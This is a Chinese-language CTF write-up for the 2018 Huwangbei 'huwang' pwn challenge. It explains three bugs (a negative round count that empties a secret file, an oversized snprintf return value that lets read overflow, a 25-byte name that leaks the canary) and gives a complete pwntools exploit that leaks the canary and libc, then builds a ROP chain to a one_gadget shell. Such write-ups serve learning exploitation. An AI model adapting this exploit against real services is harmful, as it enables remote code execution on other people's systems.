护网杯_2018_huwang

看到这个题目就觉得有点眼熟, 后来发现就是国赛awd题目改了改. (可能就是北航把自己国赛出的题目改了一下吧....) 但是国赛的时候我也没做出来.... 然后这次仍然没做出来..... 看了天枢的wp(天枢的大佬们太强了orz) 发现原来漏洞这么明显..... 看完wp发现six也可以算原题, 主办方也太懒了吧....

经过上次的Teaser Dragon CTF和这次的护网杯, 我深刻意识到我软件构造学的是多么的菜TAT, 上次的production里面的assert就是软件构造中的重要内容, faststorge里面的abs()溢出如果test case那部分学的扎实的话也应该想到的(极值嘛), 这次huwang这题就更过分了, 只要输入个负数就能解决的问题, 愣是没想到..... six那题其实多调试几次应该就能做出来了(肖神说的是: pwn题还是要多动态调, 静态看会漏掉很多点). 以后一定要多调试, 更要细心些, 把整个输入空间都要想一想. 学以致用才行.

闲话少说, 开始复现.

只有command = 666 时进入的函数有用
漏洞就3个点

  1. 加密次数可以输-1, 然后程序会进入一个很长的循环, 我们就可以关闭连接, 然后/tmp/secret里面的内容就是空了
  2. snprintf函数返回值会大于0xff, 之后read会存在溢出.
  3. 输入用户名为25个字节的时候可以leak canary和栈地址

过程:

  1. 第一次连接使/tmp/secret为空
  2. 第二次连接:
    1. 输入用户名的长度为25(canary最低字节为'\x00'),
    2. 猜md5的时候输入'\x00'*16的md5值
    3. leak canary 和 栈地址
    4. 输入足够长的字符串, 使得snprintf返回值足够大
    5. 构造payload, 先找一个gadget(pop rdi; ret), 得到libc地址
    6. 再次溢出跳转到one_gadget

exp 如下:

from pwn import *
import md5

io = process('./huwang')
# libc = ELF('./')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')


ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda   : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)

# def secret(name = 'aaa'):

m = md5.new()
m.update('\x00'*16)
md5_zero = m.digest()

sla('>>', '666')
ru('name')
sn('a'*25)
# sla('name', 'a'*25)
sla('secret', 'y')
sla('rounds', '1')
ru('guess the md5')
sn(md5_zero)
ru('a'*25)
res = rl()
canary = u64('\x00' + res[:7])
log.info('canary: ' + hex(canary))
stack_addr = u64(res[7: 7+6] + '\x00\x00')
log.info('stack_addr: ' + hex(stack_addr))

old_rbp = stack_addr + (0x3b0 - 0x450)
piece = {
    0x108 : p64(canary),
    0x110 : p64(old_rbp)
}

bss_start = 0x603038
pop_rdi_ret = 0x401573

payload = fit(piece, filler = '\x00') + p64(pop_rdi_ret) + p64(stack_addr + 8) + p64(0x4010d4)

ru('What`s your occupation?')
sn('a' * 0xff)
ru('[Y/N]')
sn('Y')
sleep(0.1)
sn('Y')
sleep(0.1)
sn(payload)
ru("final pres")
rl()
libc = u64(rl()[:6] + '\x00\x00')
libc_base = libc - 0x20830
log.info('libc: ' + hex(libc))


one = 0x4526a
payload2 = fit(piece, filler = '\x00') + p64(libc_base + one)

sleep(0.3)
sn('Y')
sleep(0.3)
sn('Y')
sleep(0.3)
sn(payload2)
io.interactive()

你可能感兴趣的:(护网杯_2018_huwang)